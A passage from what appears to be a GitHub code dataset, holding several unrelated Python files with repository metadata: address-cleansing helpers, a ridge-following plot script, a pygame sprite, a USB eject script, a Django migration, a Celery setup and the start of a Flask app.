x[\"address\"]):\n for addr_item in row.keys():\n addr_items.append(addr_item)\n \n addr_items = pd.Series(addr_items).value_counts().keys().values\n \n for addr_item in addr_items:\n osm_results[prefix+addr_item] = osm_results[osm_result_item_field].apply(lambda x: x[\"address\"][addr_item] if addr_item in x[\"address\"] else None)\n \n # Keep only \"namedetails\" if category == \"highway\"\n osm_results[\"namedetails\"] = np.where(osm_results[\"category\"] == \"highway\", osm_results[\"namedetails\"].apply(lambda dct: \" - \".join(dct.values())), \"\")\n \n osm_results = osm_results.drop(columns=[\"address\"] + ([osm_result_item_field] if drop_osm else []))\n \n osm_results.place_rank=osm_results.place_rank.astype(int)\n \n osm_results = add_addr_out_columns(osm_results, prefix)\n \n osm_results = osm_results.reset_index().rename(columns={\"level_1\": \"osm_order\"})\n \n return osm_results\n\n\n# In[26]:\n\n\ndef osm_keep_relevant_results(osm_results, addresses, street_field, housenbr_field, postcode_field, city_field, country_field, similarity_threshold,\n addr_key_field, max_res=1):\n \n osm_results_street = osm_results.reset_index().merge(addresses[[addr_key_field, street_field, postcode_field, housenbr_field, city_field, country_field]], left_on=addr_key_field, right_on=addr_key_field, how=\"left\").set_index(osm_results.index)\n \n assert osm_results_street.shape[0] == osm_results.shape[0]\n\n keep, reject = ignore_mismatch_keep_bests(osm_results_street, addr_key_field, \n street_fields_a = [\"addr_out_street\", \"addr_out_other\", \"namedetails\"], housenbr_field_a = \"addr_out_number\", postcode_field_a = \"addr_out_postcode\", city_field_a = \"addr_out_city\", \n street_field_b = street_field, housenbr_field_b = housenbr_field, postcode_field_b = postcode_field, city_field_b = city_field,\n secondary_sort_field = \"osm_order\", \n max_res=max_res)\n \n return keep, reject\n\n\n# In[27]:\n\n\ndef collapse(df, columns, prefix=None, method=\"fillna\"):\n \n if prefix: \n columns = [prefix+col for col in columns]\n \n if method==\"fillna\":\n \n res = pd.Series(index = df.index)#[columns[0]]\n\n for col in columns:\n if col in df.keys():\n res = res.fillna(df[col])\n elif method== \"set\":\n res = df[columns].apply(lambda lst: set([x for x in lst if not pd.isnull(x)]), axis=1).apply(\" - \".join)\n \n else :\n raise Exception(\"Wrong method ! \" + method)\n \n return res\n\n\n# In[28]:\n\n\ndef add_addr_out_columns(osm_results, prefix):\n \n other_columns = osm_results.keys()\n\n for out_column in collapse_params:\n other_columns = [col for col in other_columns if col.replace(prefix, \"\") not in collapse_params[out_column] and col.startswith(prefix)]\n other_columns.remove('addr_country_code')\n \n if \"addr_state\" in other_columns:\n other_columns.remove('addr_state')\n \n for out_column in collapse_params:\n osm_results[out_column] = collapse(osm_results, collapse_params[out_column], \"addr_\", \"fillna\")\n \n osm_results[\"addr_out_other\"] = collapse(osm_results, other_columns, \"\", \"set\") if len(other_columns)>0 else np.NaN\n \n return osm_results\n\n\n# # Transformers\n\n# In[29]:\n\n\ndef apply_transformers(addresses, transformers, addr_key_field, street_field, housenbr_field, postcode_field, \n city_field, country_field, check_results):\n \n if transformers == [\"orig\"]:\n return addresses.copy()\n \n init_addresses = addresses.copy()\n transformed_addresses = addresses.copy()\n \n for transformer in transformers: \n # TODO : cache system to avoid recompuing libpostal/photon when already done.\n vlog(f\" transformer: {transformer}\")\n \n if transformer == \"orig\": \n pass # Don't do anything, keep original values\n \n elif re.match(r\"regex\\[[a-z]+\\]\", transformer):\n gr = re.match(r\"regex\\[([a-z]+)\\]\", transformer)\n regex_key = gr.groups(0)[0]\n \n transformed_addresses = regex_transformer(transformed_addresses, addr_key_field, street_field, housenbr_field, postcode_field, city_field, country_field)\n \n elif transformer == \"nonum\":\n #transformed_addresses = transformed_addresses[transformed_addresses[housenbr_field].fillna(\"\").str.len()>0].copy()\n transformed_addresses[housenbr_field] = \"\"\n\n elif transformer == \"nostreet\":\n #transformed_addresses = transformed_addresses[transformed_addresses[housenbr_field].fillna(\"\").str.len()>0].copy()\n transformed_addresses[housenbr_field] = \"\"\n transformed_addresses[street_field] = \"\"\n\n elif transformer == \"libpostal\": \n transformed_addresses = libpostal_transformer(transformed_addresses, addr_key_field, street_field, housenbr_field, postcode_field, \n city_field, country_field, check_results)\n# display(transformed_addresses)\n \n elif transformer == \"photon\": \n transformed_addresses = photon_transformer(transformed_addresses, addr_key_field, street_field, housenbr_field, postcode_field, \n city_field, country_field, check_results)\n else :\n assert False, f\"Wrong transformer type : {transformer}\"\n\n if transformed_addresses.shape[0]==0:\n vlog(\"No more addresses after transformers!\")\n transformed_addresses[addr_key_field] = np.NaN\n break\n \n # Return only records that have been modified by transfomer sequence\n \n changed = pd.Series(index=transformed_addresses.index)\n changed[:] = False\n \n fields = [street_field, housenbr_field, city_field, postcode_field, country_field]\n\n init_addresses = transformed_addresses[[addr_key_field]].merge(init_addresses).set_index(transformed_addresses.index)\n\n \n for field in fields:\n if field in transformed_addresses:\n changed = changed | (init_addresses[field].fillna(\"\").astype(str).str.lower() != transformed_addresses[field].fillna(\"\").astype(str).str.lower())\n\n \n return transformed_addresses[changed].copy()\n\n\n# ## Photon\n\n# In[30]:\n\n\nphoton_street_field = \"photon_street\"\nphoton_name_field = \"photon_name\" # Sometimes, streetname is put in \"name\" field (especially for request without house number)\nphoton_postcode_field = \"photon_postcode\"\nphoton_city_field = \"photon_city\"\nphoton_country_field = \"photon_country\"\n\n\n# In[31]:\n\n\ndef get_photon(addr):\n params = urllib.parse.urlencode({\"q\": addr})\n url = \"http://%s/api?%s\"%(photon_host, params)\n\n try:\n with urllib.request.urlopen(url) as response:\n res = response.read()\n return json.loads(res)\n except Exception as e:\n raise Exception (f\"Cannot connect to Photon ({photon_host}): {e}\")\n \n\n\n# In[32]:\n\n\ndef photon_keep_relevant_results(photon_results, addresses, \n addr_street_field, addr_housenbr_field, addr_postcode_field, addr_city_field, addr_country_field,\n addr_key_field, similarity_threshold):\n \n photon_ext = photon_results.merge(addresses[[addr_key_field, addr_street_field, addr_housenbr_field, addr_postcode_field, \n addr_city_field, addr_country_field]])\n \n if photon_ext.shape[0] == 0:\n return pd.DataFrame()\n \n photon_ext[\"fake_house_number\"] = \"\"\n \n# display(photon_ext)\n vlog(\"Will compare photon results: \")\n vlog(photon_ext)\n keep, reject = ignore_mismatch_keep_bests(photon_ext, addr_key_field, \n street_fields_a = [photon_street_field], housenbr_field_a = \"fake_house_number\", postcode_field_a = photon_postcode_field, city_field_a = photon_city_field, \n street_field_b = addr_street_field, housenbr_field_b = \"fake_house_number\", postcode_field_b = addr_postcode_field, city_field_b = addr_city_field,\n secondary_sort_field = \"photon_order\")\n \n return keep\n\n\n# In[33]:\n\n\ndef photon_parse_and_split(res, addr_field, photon_col):\n res[\"photon_parsed\"] = res[photon_col].apply(lambda j:j[\"features\"] if \"features\" in j else None)\n \n res = res.set_index([addr_field])\n \n s = res.photon_parsed.apply(pd.Series)\n# print(s.shape)\n if s.shape[0] == 0 or s.shape[1] == 0:\n return pd.DataFrame(columns = [addr_field])\n \n photon_results = pd.DataFrame(s.stack()).rename(columns = {0:photon_col})\n \n for item in photon_results[photon_col].apply(lambda x: x.keys())[0]:\n photon_results[item] = photon_results[photon_col].apply(lambda x: x[item] if item in x else None)\n \n addr_items = []\n\n for row in photon_results[photon_col].apply(lambda x: x[\"properties\"]):\n for addr_item in row.keys():\n addr_items.append(addr_item)\n\n addr_items = pd.Series(addr_items).value_counts().iloc[0:30].keys().values\n\n prefix=\"photon_\"\n for addr_item in addr_items:\n #print(addr_item)\n photon_results[prefix+addr_item] = photon_results[photon_col].apply(lambda x: x[\"properties\"][addr_item] if addr_item in x[\"properties\"] else None)\n \n for f in [photon_street_field, photon_postcode_field, photon_city_field, photon_country_field]:\n if f not in photon_results:\n vlog(f\"Photon: adding field {f}\")\n photon_results[f] = \"\"\n \n if photon_name_field in photon_results:\n photon_results[photon_street_field] = photon_results[photon_street_field].replace(\"\", pd.NA).fillna(photon_results[photon_name_field])\n \n photon_results[\"lat\"] = photon_results[\"geometry\"].apply(lambda x: x[\"coordinates\"][0])\n photon_results[\"lon\"] = photon_results[\"geometry\"].apply(lambda x: x[\"coordinates\"][1])\n\n photon_results = photon_results.drop([photon_col, \"geometry\", \"photon_extent\", \"type\",\"properties\", \"photon_osm_id\"], axis=1, errors=\"ignore\").reset_index().rename(columns={\"level_1\": \"photon_order\"})#res #parse_and_split(res, osm_field, key=addr_field)\n return photon_results\n\n\n# In[34]:\n\n\ndef process_photon(df, addr_field, photon_col, addr_key_field):\n to_process = df[[addr_field]].drop_duplicates()\n \n vlog(f\"Photon: Will process {df.shape[0]} with {to_process.shape[0]} unique values\")\n \n# if with_dask : \n# dd_to_process = dd.from_pandas(to_process, npartitions=10)\n\n# dask_task = dd_to_process[addr_field].apply(get_photon, meta=('x', 'str'))\n\n# to_process[photon_col] = dask_task.compute()\n# else: \n to_process[photon_col] = to_process[addr_field].apply(get_photon)\n \n photon_results = photon_parse_and_split(to_process, addr_field, photon_col)\n \n vlog(f\"Photon got {photon_results.shape[0]} results for {df.shape[0]} addresses\")\n vlog(photon_results)\n \n photon_results = df[[addr_key_field, addr_field]].merge(photon_results)\n \n return photon_results\n \n\n\n# In[35]:\n\n\ndef photon_transformer(addresses, addr_key_field, street_field, housenbr_field, postcode_field, city_field, country_field,\n check_results, similarity_threshold=similarity_threshold):\n \n t = datetime.now() \n photon_addr = addresses[[addr_key_field, street_field, housenbr_field, postcode_field, city_field, country_field]].copy()\n \n photon_addr[\"photon_full_addr\"] = photon_addr[street_field].fillna(\"\") +\", \"+ photon_addr[postcode_field].fillna(\"\") + \" \" +photon_addr[city_field].fillna(\"\")+\", \"+ photon_addr[country_field].fillna(\"\") \n \n # Send to Photon\n photon_res = process_photon(photon_addr, \"photon_full_addr\", \"photon\", addr_key_field = addr_key_field)\n\n if photon_check_results:\n\n photon_res_sel = photon_keep_relevant_results(photon_res, photon_addr, addr_street_field=street_field, \n addr_housenbr_field = housenbr_field,\n addr_postcode_field = postcode_field, addr_city_field = city_field,\n addr_country_field = country_field,\n addr_key_field = addr_key_field, similarity_threshold=similarity_threshold)\n else:\n photon_res_sel = photon_res.merge(addresses[[addr_key_field, street_field, housenbr_field, postcode_field, \n city_field, country_field]])\n \n if photon_res_sel.shape[0] == 0:\n return photon_res_sel\n \n fields = [(street_field, photon_street_field), (housenbr_field, housenbr_field), # We do not consider photon house number\n (city_field, photon_city_field), (postcode_field, photon_postcode_field),\n (country_field, photon_country_field)]\n \n fields_out = [field_in for field_in, field_photon in fields]\n fields_photon = [field_photon for field_in, field_photon in fields]\n \n timestats[\"photon\"] += datetime.now() - t\n return photon_res_sel[[addr_key_field] + fields_photon].rename(columns= {field_photon: field_in for field_in, field_photon in fields})[[addr_key_field] + fields_out]\n\n\n# ## Libpostal\n\n# In[36]:\n\n\n\nif with_rest_libpostal:\n import urllib\n # Assuming LibpostalREST flask is running\n def parse_address(address):\n \n import requests\n\n url = \"http://%s/parser\"%(libpostal_host)\n params = {\"query\": address}\n\n try: \n res = requests.post(url, json = params)\n except Exception as e:\n raise Exception (f\"Cannot connect to Libpostal ({libpostal_host}): {e}\")\n \n res = json.loads(res.content.decode())\n\n return res\n \nelse: \n from postal.parser import parse_address\n\n\n# In[37]:\n\n\nlpost_street_field = \"lpost_road\"\nlpost_housenbr_field = \"lpost_house_number\"\nlpost_postcode_field = \"lpost_postcode\"\nlpost_city_field = \"lpost_city\"\nlpost_country_field = \"lpost_country\"\n\n\n# In[38]:\n\n\ndef libpostal_transformer(addresses, addr_key_field, street_field, housenbr_field, postcode_field, city_field, country_field,\n check_results, similarity_threshold = similarity_threshold):\n \n t = datetime.now() \n \n libpost_addr = addresses[[addr_key_field, street_field, housenbr_field, postcode_field, city_field, country_field]].copy()\n\n # Make full address for libpostal\n \n libpost_addr[\"lpost_full_addr_in\"] = libpost_addr[street_field] + \" \"+ libpost_addr[housenbr_field].fillna(\"\")+\", \"+ libpost_addr[postcode_field].fillna(\"\") + \" \" +libpost_addr[city_field].fillna(\"\") +\", \" + libpost_addr[country_field].fillna(\"\")\n \n # Apply libpostal\n \n libpost_addr[\"lpost\"] = libpost_addr.lpost_full_addr_in.apply(parse_address)\n libpost_addr[\"lpost\"] = libpost_addr.lpost.apply(lambda lst: {x: y for (y, x) in lst})\n \n # Split libpostal results\n for field in \"road\", \"house_number\", \"postcode\", \"city\", \"house\", \"country\":\n libpost_addr[\"lpost_\"+field] =libpost_addr.lpost.apply(lambda rec: rec[field] if field in rec else np.NAN)\n \n if check_results:\n # Keep only \"close\" results\n libpost_addr, reject = ignore_mismatch_keep_bests(libpost_addr, addr_key_field, \n street_fields_a = [street_field], housenbr_field_a = housenbr_field, postcode_field_a = postcode_field, city_field_a = city_field, \n street_field_b = lpost_street_field, housenbr_field_b = lpost_housenbr_field, postcode_field_b = lpost_postcode_field, city_field_b = lpost_city_field, \n secondary_sort_field=addr_key_field)\n vlog(\"Rejected lipbostal results: \")\n vlog(reject)\n if libpost_addr.shape[0] == 0:\n \n return pd.DataFrame(columns=[osm_addr_field, addr_key_field])#, libpost_addr\n \n \n fields = [(street_field, lpost_street_field), (housenbr_field, lpost_housenbr_field), \n (city_field, lpost_city_field), (postcode_field, lpost_postcode_field),\n (country_field, lpost_country_field) ]\n fields_out = [field_in for field_in, field_lpost in fields]\n fields_lpost = [field_lpost for field_in, field_lpost in fields]\n \n timestats[\"libpostal\"] += datetime.now() - t\n return libpost_addr[[addr_key_field] + fields_lpost].rename(columns= {field_lpost: field_in for field_in, field_lpost in fields})[[addr_key_field] + fields_out]\n\n\n# ## Regex transformer\n\n# In[39]:\n\n\ndef regex_transformer(addresses, addr_key_field, street_field, housenbr_field, postcode_field, city_field, \n country_field, regex_key=\"init\"):\n \n regex_addr = addresses[[addr_key_field, street_field, housenbr_field, postcode_field, city_field, country_field]].copy()\n\n for (field, match, repl) in regex_replacements[regex_key]:\n vlog(f\"{field}: {match}\")\n# display(regex_addr[field])\n new_values = regex_addr[field].fillna(\"\").str.replace(match, repl)\n new_values_sel = regex_addr[field].fillna(\"\") != new_values\n \n if new_values_sel.sum()>0:\n vlog(regex_addr[new_values_sel])\n\n regex_addr[field] = new_values\n vlog(\"-->\")\n #display(libpost_addr[libpost_addr[field].fillna(\"\").str.contains(match)])\n vlog(regex_addr[new_values_sel])\n else: \n vlog(\"None\")\n\n return regex_addr\n\n","repo_name":"AlexanderV/NominatimWrapper","sub_path":"AddressCleanserUtils.py","file_name":"AddressCleanserUtils.py","file_ext":"py","file_size_in_byte":50715,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"21"} +{"seq_id":"393474679","text":"from ridgefollowing.surfaces import cubic\nfrom ridgefollowing.algorithms import gradient_extremal_follower, cosine_follower, modes\nfrom ridgefollowing.plotting import plot_surface\nimport numpy as np\nfrom pathlib import Path\n\nsettings = plot_surface.PlotSettings(\n width=10 * plot_surface.cm,\n lims=np.array([[-4, 4], [-4, 4]]),\n plot_energy=plot_surface.ScalarPlotSettings(\n contours_filled=False,\n contours=True,\n colormap=None,\n colors=\"grey\",\n zorder=2,\n log_compression=False,\n contourlevels=50,\n vmin=-0.5,\n vmax=0.5,\n extend=\"neither\",\n ),\n # plot_grad_ext_dist2=plot_surface.ScalarPlotSettings(colormap=\"coolwarm\"),\n plot_c2=plot_surface.ScalarPlotSettings(colormap=\"coolwarm\"),\n # plot_mode=plot_surface.VectorPlotSettings(streamplot=False, quiver=True, kwargs=dict(scale=10)),\n # plot_mode2=plot_surface.VectorPlotSettings(),\n # plot_eval1=plot_surface.ScalarPlotSettings(colormap=\"coolwarm\", contours_filled=False, contours=True, zorder=3, log_compression=True),\n # input_data_folder=\"./data_quapp4_200\",\n output_data_folder=\"./data_quapp4_200\",\n outfile=\"plot_quapp4.png\",\n npoints=np.array([200, 200]),\n show=True,\n)\n\nesurf = cubic.CubicSurface()\nesurf.setup_quapp_example(4)\n\nfollower_trajectories = []\n\nfollower = gradient_extremal_follower.GradientExtremalFollower(\n energy_surface=esurf, trust_radius=1e-2, n_iterations_follow=400\n)\n\nx_cur = np.array([1.333, 0.671632])\nG = esurf.gradient(x_cur)\nH = esurf.hessian(x_cur)\nevals, evecs = modes.eigenpairs(H)\nidx = 0\nv = evecs[:, idx]\nfollower.cur_eval = evals[idx]\nx0, dist, dir = follower.compute_approximate_ridge_location(x_cur, G, H, v)\n# print(v)\n# print(evals[idx])\n# print(G)\n# print(H)\n# print(evals)\n\nx0 = -np.linalg.inv(H) @ G\nx0 = x0 - np.dot(x0, v) * v\n\nprint(\"evals\", evals)\nprint(\"H^-1\", -np.linalg.inv(H) @ G)\nprint(\"proj,\", np.dot(x0, v) * v)\n\nprint(x0, dist, dir)\n# exit(0)\n\nfollower_cos = cosine_follower.CosineFollower(\n energy_surface=esurf, radius=1, n_iterations_follow=5, tolerance=1e-6\n)\nfollower_cos.maximize = False\n\nfor f in [follower_cos]:\n # f.follow(np.array([1.3, 0.3]), np.array([1.0, 0.0]))\n # follower_trajectories.append( f.history[\"x_cur\"].copy() )\n\n # f.follow(np.array([1.3, 0.3]), np.array([-1.0, 0.0]))\n # follower_trajectories.append( f.history[\"x_cur\"].copy() )\n\n # f.follow(np.array([3.1275729811771606, 1.2653225689228282]), np.array([0.0, 1.0]))\n # follower_trajectories.append(f.history[\"x_cur\"].copy())\n\n f.output_path = \"./1\"\n f.follow(np.array([3.1275729811771606, 1.2653225689228282]), np.array([-1.0, 0.0]))\n follower_trajectories.append(f.history[\"x_cur\"].copy())\n\n f.output_path = \"./2\"\n f.radius /= 2.0\n f.n_iterations_follow *= 2\n f.follow(np.array([3.1275729811771606, 1.2653225689228282]), np.array([0.0, 1.0]))\n follower_trajectories.append(f.history[\"x_cur\"].copy())\n\n f.output_path = \"./3\"\n f.radius /= 2.0\n f.n_iterations_follow *= 2\n f.follow(np.array([3.1275729811771606, 1.2653225689228282]), np.array([0.0, 1.0]))\n follower_trajectories.append(f.history[\"x_cur\"].copy())\n\n f.output_path = \"./4\"\n f.radius /= 2.0\n f.n_iterations_follow *= 2\n f.follow(np.array([3.1275729811771606, 1.2653225689228282]), np.array([0.0, 1.0]))\n follower_trajectories.append(f.history[\"x_cur\"].copy())\n\n f.output_path = \"./5\"\n f.radius /= 2.0\n f.n_iterations_follow *= 2\n f.follow(np.array([3.1275729811771606, 1.2653225689228282]), np.array([0.0, 1.0]))\n follower_trajectories.append(f.history[\"x_cur\"].copy())\n\n f.output_path = \"./6\"\n f.radius /= 2.0\n f.n_iterations_follow *= 2\n f.follow(np.array([3.1275729811771606, 1.2653225689228282]), np.array([0.0, 1.0]))\n follower_trajectories.append(f.history[\"x_cur\"].copy())\n\n # follower_trajectories.append(f.history[\"x0\"].copy())\n # f.dump_history(Path(\"./hist\"))\n\n # f.follow(np.array([0.5833, 0.7034]), np.array([0.0, 1.0]))\n # follower_trajectories.append(f.history[\"x_cur\"].copy())\n\n # f.follow(np.array([1.3, 0.3]), np.array([0.0, -1.0]))\n # follower_trajectories.append(f.history[\"x_cur\"].copy())\n\n # f.follow(np.array([-1.3, 0.3]), np.array([1.0, 0.0]))\n # follower_trajectories.append(f.history[\"x_cur\"].copy())\n\n # f.follow(np.array([-1.3, 0.3]), np.array([-1.0, 0.0]))\n # follower_trajectories.append(f.history[\"x_cur\"].copy())\n\n # f.follow(np.array([-1.3, 0.3]), np.array([0.0, 1.0]))\n # follower_trajectories.append(f.history[\"x_cur\"].copy())\n\n # f.follow(np.array([-1.3, 0.3]), np.array([0.0, -1.0]))\n # follower_trajectories.append(f.history[\"x_cur\"].copy())\n\n # f.follow(np.array([0.3, 0.75]), np.array([0.3, -1.0]))\n # follower_trajectories.append(f.history[\"x_cur\"].copy())\n\n\nfor i, t in enumerate(follower_trajectories):\n color = f\"C{i+1}\"\n settings.path_plots.append(\n plot_surface.PathPlotSettings(points=t, color=color, marker=\".\", zorder=11)\n )\n settings.path_plots.append(\n plot_surface.PathPlotSettings(\n points=np.array([t[0]]), marker=\"x\", mec=\"black\", color=color, zorder=11\n )\n )\n\nplot_surface.plot(esurf, settings=settings)\n","repo_name":"MSallermann/cos2_ridge_following","sub_path":"scripts/test_quapp_examples/example4.py","file_name":"example4.py","file_ext":"py","file_size_in_byte":5225,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"15108901960","text":"import pygame as pg\nfrom pygame.sprite import Sprite\n\n\nclass Bullet(Sprite):\n \"\"\"A class that manages the bullets fired by a ship\"\"\"\n\n def __init__(self, ai_setting, screen, ship):\n \"\"\"creat a bullet object in the position of ship\"\"\"\n super(Bullet, self).__init__()\n self.screen = screen\n\n # Create a rectangle at (0,0) to represent the bullet, and then set the correct position\n self.rect = pg.Rect(0, 0, ai_setting.bullet_width, ai_setting.bullet_height)\n self.rect.centerx = ship.rect.centerx\n self.rect.top = ship.rect.top\n\n # Store bullet position in decimal\n self.y = float(self.rect.y)\n\n self.color = ai_setting.bullet_color\n self.speed_factor = ai_setting.bullet_speed_factor\n\n def update(self):\n \"\"\"move the bullet up\"\"\"\n\n # Update the small value indicating the bullet position\n self.y -= self.speed_factor\n # Update the location of the rect that represents the bullet\n self.rect.y = self.y\n\n def draw_bullet(self):\n \"\"\"draw bullet in the screen\"\"\"\n pg.draw.rect(self.screen, self.color, self.rect)\n\n","repo_name":"nebel-dev/alienatack","sub_path":"bullet.py","file_name":"bullet.py","file_ext":"py","file_size_in_byte":1148,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"13728127563","text":"# -*- coding: utf-8 -*-\n\"\"\"\nDescription:\n\tproperly eject USB for re-insertion later\n\tList usb drives: lsblk\n\t\nRequirement:\n\tsudo apt install eject\n\"\"\"\nimport os\n#import sys, time\nimport traceback\n#import subprocess\n\n\n###################\n## MAIN FUNCTION ##\n###################\ndef main():\n\t#cmd = \"sudo umount /dev/sda1\"\n\tcmd = \"sudo umount /media/pi/*\"\n\t\n\ttry:\n\t\ttry:\n\t\t\tprint(\"Eject USB\")\n\t\t\tos.system(cmd)\n\t\t\tprint(\"Done?\")\n\t\t\t\n\t\t# Ctrl+C will exit the program correctly\n\t\texcept KeyboardInterrupt:\n\t\t\tprint(\"keyboard interrupt\")\n\t\t\tsys.exit(0)\n\t\n\t# Any Main Errors saved to log.txt file:\n\texcept Exception:\n\t\tprint(\"Exception Reached\")\n\t\tlog = open(\"log.txt\", 'w')\n\t\ttraceback.print_exc(file=log)\n\t\tsys.exit(0)\n\nif __name__ == \"__main__\":\tmain()\n","repo_name":"ANTZ314/raspi","sub_path":"0_General/eject.py","file_name":"eject.py","file_ext":"py","file_size_in_byte":750,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"42841120541","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('parents', '0001_initial'),\n ('kindergartens', '0002_auto_20170327_1844'),\n ('children', '0002_child_personal_id'),\n ]\n\n operations = [\n migrations.CreateModel(\n name='Application',\n fields=[\n ('id', models.AutoField(verbose_name='ID', auto_created=True, primary_key=True, serialize=False)),\n ('date_created', models.DateTimeField(auto_now_add=True)),\n ('date_modified', models.DateTimeField(auto_now=True)),\n ('status', models.CharField(max_length=254, verbose_name='Status', choices=[('approved', 'Approved'), ('rejected', 'Rejected'), ('pending', 'Pending')], default='pending')),\n ('child', models.ForeignKey(to='children.Child')),\n ('kindergarten', models.ForeignKey(to='kindergartens.Kindergarten')),\n ('parent', models.ForeignKey(to='parents.Parent')),\n ],\n options={\n 'verbose_name': 'Application',\n 'verbose_name_plural': 'Applications',\n },\n ),\n migrations.CreateModel(\n name='Attachment',\n fields=[\n ('id', models.AutoField(verbose_name='ID', auto_created=True, primary_key=True, serialize=False)),\n ('name', models.CharField(max_length=254, verbose_name='Name')),\n ('file', models.FileField(upload_to='attachments')),\n ('application', models.ForeignKey(to='applications.Application')),\n ],\n ),\n ]\n","repo_name":"gatsinski/kindergarten-management-system","sub_path":"kindergarten_management_system/kms/contrib/applications/migrations/0001_initial.py","file_name":"0001_initial.py","file_ext":"py","file_size_in_byte":1721,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"} +{"seq_id":"25346759420","text":"def numConsonantes(x: str)->int: #se define la función\r\n letras = 0\r\n for i in x: #se utiliza un ciclo for para recorrer el texto\r\n if i.isalpha() and i not in \"aeiou\" and i not in \"AEIOU\": #como condicion se verifica que se tomen en cuenta solo las letras excluyendo las vocales\r\n letras += 1\r\n return letras\r\n\r\n\r\nif __name__ == \"__main__\":\r\n s =\"mbox-short.txt\" #se define una variable con el archivo a utilizar\r\n with open(s,\"r\") as file: #se abre el archivo\r\n Consonantes = numConsonantes(file.read())\r\n print(f\"Hay {Consonantes} consonantes en el archivo.\") #imprime el número de consonantes","repo_name":"alejayz/Reto-Doce","sub_path":"Reto doce 2-2.py","file_name":"Reto doce 2-2.py","file_ext":"py","file_size_in_byte":645,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"22624495566","text":"import math\n\ndef solution(fees, records):\n answer = []\n time_cal = {}\n mx_time = 23 * 60 + 59\n \n for x in records:\n x = x.split(' ')\n time = x[0].split(':')\n time = int(time[0]) * 60 + int(time[1])\n \n if x[2] == 'IN':\n if x[1] not in time_cal:\n time_cal[x[1]] = -time\n else:\n time_cal[x[1]] -= time\n else:\n if x[1] not in time_cal:\n time_cal[x[1]] = time\n else:\n time_cal[x[1]] += time\n \n tmp = []\n \n for x, y in time_cal.items():\n if y <= 0:\n y += mx_time\n \n if y <= fees[0]:\n tmp.append((fees[1], int(x)))\n else: \n tmp.append((fees[1] + math.ceil((y - fees[0]) / fees[2]) * fees[3], int(x)))\n \n tmp.sort(key=lambda x : x[1])\n for x, y in tmp:\n answer.append(x)\n return answer","repo_name":"gaminKim/Algorithm-Study","sub_path":"2022/1월/20220123/서윤혁/주차 요금 계산.py","file_name":"주차 요금 계산.py","file_ext":"py","file_size_in_byte":940,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"71856293812","text":"n = int(input())\nfor i in range(1, n+1):\n temp = input()\n cnt= 0\n for j in range(2,31):\n if len(set(temp)) == 1:\n cnt = 1\n break\n elif temp[:j] == temp[j:2*j] :\n cnt = j\n break\n print(f'#{i} {cnt}')","repo_name":"xktmxkem/TIL-Today-I-Learn","sub_path":"python/0723/패턴마디의길이.py","file_name":"패턴마디의길이.py","file_ext":"py","file_size_in_byte":268,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"10645893375","text":"from __future__ import absolute_import\nimport os\nfrom celery import Celery\nfrom .settings import CELERY_RESULT_BACKEND\n\nos.environ.setdefault('DJANGO_SETTINGS_MODULE', 'dcf.settings')\napp = Celery('dcf', backend=CELERY_RESULT_BACKEND)\n\napp.conf.ONCE = {\n 'backend': 'celery_once.backends.Redis',\n 'settings': {\n 'url': CELERY_RESULT_BACKEND,\n 'default_timeout': 60 * 60\n }\n}\n\n\napp.config_from_object('django.conf:settings', namespace='CELERY')\napp.autodiscover_tasks()\n\n@app.task(bind=True)\ndef debug_task(self):\n print('Request: {0!r}'.format(self.request))\n","repo_name":"matteo-briani/django-celery-flower","sub_path":"services/backend/code/dcf/celery.py","file_name":"celery.py","file_ext":"py","file_size_in_byte":571,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"26568850638","text":"import webbrowser\n\nclass Movie():\n \"\"\" This class provides a way to store movie related information.\n The class variables are initialized here and have date stored in entertainmentcenter.py.\n \"\"\"\n\n def __init__(self, movie_title, translated_title, movie_storyline,\n poster_image, trailer_youtube,\n imdb_page, imdb_rating, location, year,\n saavn_page):\n self.title = movie_title\n self.translated_title = translated_title\n self.storyline = movie_storyline\n self.poster_image_url = poster_image\n self.trailer_youtube_url = trailer_youtube\n self.imdb_page_url = imdb_page\n self.imdb_rating = imdb_rating\n self.location = location\n self.year = year\n self.saavn_page = saavn_page\n\n# This method provides a way to show the movie trailer from YouTube\n def show_trailer(self):\n webbrowser.open(self.trailer_youtube_url)\n","repo_name":"anishkothari/movie_trailers","sub_path":"media.py","file_name":"media.py","file_ext":"py","file_size_in_byte":951,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"31838313240","text":"from asyncio.windows_events import NULL\nfrom email.policy import default\nfrom enum import unique\nfrom importlib import resources\nfrom importlib.metadata import metadata\nfrom os import stat\nfrom select import select\nfrom tkinter.messagebox import QUESTION\nfrom turtle import update\nfrom xmlrpc.client import Boolean\nfrom flask import Flask, jsonify, make_response, request, session\nfrom werkzeug.security import generate_password_hash, check_password_hash\nfrom flask_sqlalchemy import SQLAlchemy\nfrom functools import wraps\nimport uuid\nimport jwt\nimport datetime\nfrom flask_cors import CORS, cross_origin\nfrom sqlalchemy import ForeignKey, Integer, Table, Column, MetaData, Boolean, create_engine, String, insert, null, select, true, update, insert\n\n\napp = Flask(__name__)\ncors = CORS(app)\n\n# class Gender(Enum):\n# MALE=\"Male\"\n# FEMALE=\"Female\"\n# NON=\"None of them\"\n\napp.config['SECRET_KEY'] = 'thisissecret'\napp.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///stunder_database.db'\napp.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = True\n\n\ndb = SQLAlchemy(app)\n\n\nclass User(db.Model):\n id = db.Column(db.Integer, primary_key=True)\n public_id = db.Column(db.String(50), unique=True)\n name = db.Column(db.String(50))\n email = db.Column(db.String(50))\n password = 